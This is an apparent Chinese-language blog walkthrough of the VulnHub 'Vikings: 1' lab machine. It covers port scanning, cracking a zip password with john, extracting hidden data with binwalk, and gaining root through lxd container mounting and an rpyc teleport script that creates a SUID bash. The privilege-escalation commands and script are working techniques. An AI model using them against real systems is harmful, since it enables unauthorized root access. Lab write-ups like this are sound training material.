• vulnhub靶场之VIKINGS: 1


    准备:

    攻击机:虚拟机kali、本机win10。

    靶机:DRIPPING BLUES: 1,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhub.com/vikings/Vikings.ova,下载后直接vbox打开即可。

    知识点:binwalk获取隐藏信息、base64文件解密、john爆破密码、考拉兹猜想、rpyc提权、lxd提权。

    信息收集:

    通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.168.1.0/24,获得靶机地址:192.168.1.34。

    扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.1.34,显示开放了22、80端口,开启了ssh、http服务。

    访问web服务并检查源代码信息未发现有效信息,使用dirmap进行目录扫描,发现war.txt。

    访问war.txt文件给出了一个目录:/war-is-over,访问该目录:http://192.168.1.34/site/war-is-over/,返回的是一串加密的字符串。

    字符串解密:

    将base64编码(最后存在=,猜测应该是base64)的字符串进行解码保存到本地并使用file查看文件类型,获得文件类型为zip,命令:curl http://192.168.1.34/site/war-is-over/ | base64 -d > upfine。

    修改文件后缀名然后进行解压文件,但是显示需要密码。使用fcrackzip进行密码的爆破,命令:fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u upfine.zip,但是爆破失败。

    fcrackzip爆破失败,那我们就使用zip2john把他的密码信息提取出来,命令:zip2john upfine.zip > passwd,然后使用john进行破解,命令:john passwd --show,成功获得密码:ragnarok123。

    对文件进行解密,解密之后发现是一张图片。

    图片解密:

    使用steghide获取隐藏信息,但是获取失败,就换了下工具使用binwalk获取隐藏信息,发现存在一个user文件。

    使用binwalk获取下user文件并进行查看,命令:binwalk -e king。查看后获得两组字符串:FamousBoatbuilder_floki@vikings和f@m0usboatbuilde7。

    获取shell:

    根据获取的字符串信息猜测是一组账户名和密码,经过测试最终:floki:f@m0usboatbuilde7可以成功登录。

    在当前账户下查看下目录信息,发现了readme.txt文件和boat文件并读取文件内容,内容信息告诉我们要找到ragnar,这里猜测这是一个账户,boat文件告诉我们要进行考拉兹猜想第29个素数。

    提权-方式一:

    查看当前用户下具有root权限的可执行文件都有哪些,命令:find / -perm -4000 -type f 2>/dev/null,发现了:/usr/lib/policykit-1/polkit-agent-helper-1、/usr/lib/dbus-1.0/dbus-daemon-launch-helper、/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic。之前遇到过policykit两个漏洞:CVE-2021-4034和CVE-2021-3560,在这里测试无法提权。但是lxd提权在这里是可以实现的。

    这里不是一个完整的lxd提权漏洞,因为镜像等一些信息都是已经安装好的,在我们进行安装时提示我们已经存在了,所以我们直接利用他原有的镜像就可以实现提权。

    查看下image列表信息,命令:lxc image list。

    之后依次执行下面语句,成功获得root权限。

    lxc init myimage ignite -c security.privileged=true
    lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
    lxc start ignite
    lxc exec ignite /bin/sh

    获得root权限后进入root目录:cd /mnt/root/root,发现root.txt文件并读取flag值。

    提权-方式二:

    考拉兹猜想:

    先理解下考拉兹猜想,直接看下图,这个说的很直观。

    查找了一下第29个素数,显示是109,那写一个简单的脚本跑一下29的Collatz 序列。

    collatz脚本
    #对任意正整数n,若n为偶数则除以1,若n为奇数则乘3再加1,如此反复,其结果最终必会达到1
    #博客园@upfine
    
    num = 109
    collatz=[109]
    while num != 1:
        if num % 2 == 1:
            num = num * 3 + 1
        else:
            num = num / 2
        if num <= 127 and num >32:  #asii表内字符对应的10进制范围
            collatz.append(int(num))
    print(collatz)
    Collatz 序列结果
     [109, 164, 82, 41, 124, 62, 31, 94, 47, 142, 71, 214, 107, 161, 242, 121, 182, 91, 137, 206, 103, 155, 233, 175, 167, 251, 244, 122, 61, 184, 92, 46, 23, 70, 35, 106, 53, 160, 80, 40, 20, 10, 5, 16, 8, 4, 2, 1]

    然后写一个简单的脚本对Collatz 序列进行转换,转换后获得一串字符串:mR)|>^/Gky[gz=\.F#j5P(,猜测是密码。

    获取ragnar账户shell:

    尝试使用ragnar/mR)|>^/Gky[gz=\.F#j5P(进行shell登录,成功登录,在ragnar账户下发现第一个flag信息。

    提权:

    在ragnar账户目录下,发现多出来了一个.profile文件,查看该文件内容发现以root权限调用了/usr/local/bin/rpyc_classic.py文件。

    查看该文件权限,显示只具有读取权限,无法写入。这里找了下脚本直接将root权限进行复制。

    import rpyc
    conn = rpyc.classic.connect('localhost')
    def getshell():
            import os
            os.system('cp /bin/bash /tmp/bashroot && chmod +s /tmp/bashroot')
     
    fn = conn.teleport(getshell)
    fn()

     写入exp.py文件进行执行,会在/tmp文件夹下生成bashroot文件,执行bashroot文件(./bashroot -p)获得root权限。

     在root目录下发现root.txt文件,读取文件信息获取到flag。



    如果您觉得阅读本文对您有帮助,请点一下“推荐”按钮,您的“推荐”将是我最大的写作动力!欢迎各位转载,但是未经作者本人同意,转载文章之后必须在文章页面明显位置给出作者和原文连接,否则保留追究法律责任的权利。
  • 相关阅读:
    做网赚的核心是:流量思维+变现思维
    9月3日关键点检测学习笔记——图像识别与检测
    数据库上机实验6 数据库完整性
    毕业设计-基于机器视觉的安全帽佩戴识别系统
    近期为何事故频发,企业安全生产如何保障?
    【开源】基于Vue.js的教学过程管理系统
    ElasticSearch-全文检索和分析引擎学习Day01
    【Node.js】深度解析node的包和强大的包管理工具
    SpringBoot学习小结之Redis
    化工原理 --- 热量传递(补充)
  • 原文地址:https://www.cnblogs.com/upfine/p/16889470.html